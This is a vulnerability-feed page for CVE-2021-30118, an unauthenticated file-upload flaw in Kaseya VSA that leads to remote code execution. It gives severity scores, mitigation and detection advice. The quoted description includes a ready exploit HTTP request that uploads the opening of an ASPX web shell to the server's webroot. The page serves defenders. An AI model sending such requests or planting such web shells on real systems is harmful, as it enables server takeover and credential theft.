← Vulnerability feed

Vulnerability record · CVE-2021-30118 · published 9 July 2021

CVE-2021-30118: Kaseya VSA unauthenticated arbitrary file upload leading to RCE

Kaseya · Vsa

Kaseya VSA Unified RMM 9.5.4.2149 exposes /SystemTab/uploader.aspx, which accepts file uploads without validating the sessionId cookie, so any numeric value passes as authentication. An attacker controls both the filename (qqfile) and destination path (PathData), allowing arbitrary content to be written anywhere the web server process has write access, including the webroot. This is a critical pre-auth remote code execution flaw in a remote management platform.

9.8 CVSS 3.1 Critical EPSS 60% · top 0.9% CWE-434 · Unrestricted file upload
9.8CVSS 3.1 base score, v2 10.0
60%EPSS exploitation probability, 30 days
NoNot in CISA KEV
1Affected product versions listed by NVD
8References, 2 tagged exploit
17 Jun 2026Last modified by NVD

Description

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Automated analysis

Generated by VULONE's analysis model from the NVD record, CISA KEV and EPSS data on 19 September 2026. Confidence: high.

critical priorityUnauthenticated network-accessible arbitrary file upload leading to remote code execution with CVSS 9.8 and very high EPSS.

What it is

Kaseya VSA Unified RMM 9.5.4.2149 exposes /SystemTab/uploader.aspx, which accepts file uploads without validating the sessionId cookie, so any numeric value passes as authentication. An attacker controls both the filename (qqfile) and destination path (PathData), allowing arbitrary content to be written anywhere the web server process has write access, including the webroot. This is a critical pre-auth remote code execution flaw in a remote management platform.

Impact

An attacker can write and execute ASP/ASPX code in the web server context, leading to full system compromise, including theft of credentials of other users and loss of confidentiality, integrity and availability.

Attack surface

Reachable over the network via HTTP POST to /SystemTab/uploader.aspx; no valid authentication is required because the sessionId cookie is not validated, and no user interaction is needed.

Exploitation

Not listed in CISA KEV and no ransomware associations are documented, but EPSS is very high (0.60348, ~99th percentile) and a public exploit reference is tagged, indicating active interest and likely weaponization.

What to do

  • Upgrade Kaseya VSA to the fixed 9.5.5 release or later as referenced in the vendor release notes.
  • If immediate patching is not possible, restrict network access to the VSA web interface to trusted management networks and block external exposure of /SystemTab/uploader.aspx.
  • Enforce proper session validation and authentication on upload endpoints; do not rely on client-supplied sessionId values.
  • Remove or disable unnecessary upload functionality and ensure the web server process has minimal write permissions outside required directories.
  • Monitor and audit the VSA webroot for unexpected ASP/ASPX files and remove any unauthorized files.

Detection

  • Monitor web server logs for POST requests to /SystemTab/uploader.aspx, especially with qqfile or PathData parameters.
  • Alert on creation of new .asp or .aspx files in the Kaseya webroot or other writable directories.
  • Detect suspicious child processes spawned by the VSA web server process (w3wp.exe) such as cmd.exe or powershell.exe.
  • Review VSA audit logs for uploads with unusual filenames or paths and for requests using arbitrary numeric sessionId cookies.

This assessment is produced automatically and is not human-reviewed. Verify against the vendor advisory before acting on it.

Affected products

1 vulnerable configurations from NVD's CPE data, grouped by vendor and product.

References

Track CVE-2021-30118 inside VULONE

Watch it alongside the ransomware crews, C2 infrastructure and forum chatter that reference it, query it through the API and pull it into your SIEM over TAXII.

Start free Open in platform

Related vulnerabilities

Same products first, then exploited flaws of the same weakness class.

8.8CVE-2021-30117Kaseya VSA exportFldr.asp SQL injection via fldrIdThe /InstallTab/exportFldr.asp endpoint in Kaseya VSA is vulnerable to boolean-based blind SQL injection through the fldrId parameter. The flaw is de…EPSS 72%analysed7.5CVE-2021-30120Kaseya vsa vulnerabilityKaseya VSA before 9.5.7 allows attackers to bypass the 2FA requirement. The need to use 2FA for authentication in enforce client-side instead of serv…EPSS 5.7%7.5CVE-2021-30201Kaseya vsa xml external entity (xxe) vulnerabilityThe API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fet…EPSS 25%6.7CVE-2019-14510Kaseya vsa incorrect default permissions vulnerabilityAn issue was discovered in Kaseya VSA RMM through 9.5.0.22. When using the default configuration, the LAN Cache feature creates a local account FSAdm…EPSS 0.53%6.5CVE-2021-30121Kaseya vsa inclusion from untrusted sphere vulnerabilitySemi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: `https://x.x.x.x/KLC/js/Kas…EPSS 4.8%5.4CVE-2021-30119Kaseya VSA HelpDeskTab rcResults.asp reflected XSSKaseya VSA reflects the 'result' parameter of /HelpDeskTab/rcResults.asp and the 'FileName' parameter of /done.asp back into the response without pro…EPSS 50%analysed10.0CVE-2026-56291Balbooa Forms Joomla extension unauthenticated arbitrary file upload RCEThe Balbooa Forms extension for Joomla before version 2.4.1 accepts file uploads without authentication and does not restrict file type, allowing exe…KEVEPSS 15%analysed10.0CVE-2026-48939iCagenda Joomla extension unrestricted file upload leads to PHP RCEThe iCagenda extension for Joomla fails to restrict file types in its file attachment feature, allowing arbitrary file uploads that result in PHP cod…KEVEPSS 20%analysed

Source: NIST National Vulnerability Database (record CVE-2021-30118), CISA KEV, FIRST EPSS (scores of 2026-09-26). This page is refreshed as NVD updates the record.